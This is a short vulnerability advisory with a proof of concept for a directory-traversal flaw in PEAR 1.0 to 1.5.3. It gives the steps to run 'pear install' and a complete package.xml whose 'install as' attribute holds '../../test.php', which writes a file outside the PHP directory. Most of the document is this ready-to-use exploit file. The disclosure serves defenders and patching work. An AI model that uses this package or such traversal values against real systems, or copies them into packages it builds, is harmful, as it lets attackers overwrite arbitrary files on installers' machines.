source: http://www.securityfocus.com/bid/24111/info

PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files.

An attacker-supplied package may supply directory-traversal strings through the 'install-as' attribute to create and overwrite files in arbitrary locations.

This issue affects PEAR 1.0 to 1.5.3. 

create a file named "INSTALL" and save it in the current directory.
Save the following XML as package.xml, and run "pear install package.xml"

If php_dir is /usr/local/lib/php The file "INSTALL" will be installed into
/usr/local/test.php



<?xml version="1.0" encoding="UTF-8"?>
<package version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd">
 <name>Test_Sec</name>
 <channel>pear.php.net</channel>
 <summary>Test security vulnerability</summary>
 <description>demonstrate install-as vulnerability
 </description>
 <lead>
  <name>Greg Beaver</name>
  <user>cellog</user>
  <email>cellog@php.net</email>
  <active>yes</active>
 </lead>
 <date>2007-03-05</date>
 <version>
  <release>1.6.0</release>
  <api>1.6.0</api>
 </version>
 <stability>
  <release>stable</release>
  <api>stable</api>
 </stability>
 <license uri="http://www.php.net/license">PHP License</license>
 <notes>
    allow up to latest beta version [tias]
 </notes>
 <contents>
  <dir name="/">
   <file name="INSTALL" role="php" />
  </dir> <!-- / -->
 </contents>
 <dependencies>
  <required>
   <php>
    <min>4.3.0</min>
   </php>
   <pearinstaller>
    <min>1.4.3</min>
   </pearinstaller>
  </required>
 </dependencies>
 <phprelease>
  <filelist>
   <install as="../../test.php" name="INSTALL" />
  </filelist>
 </phprelease>

</package>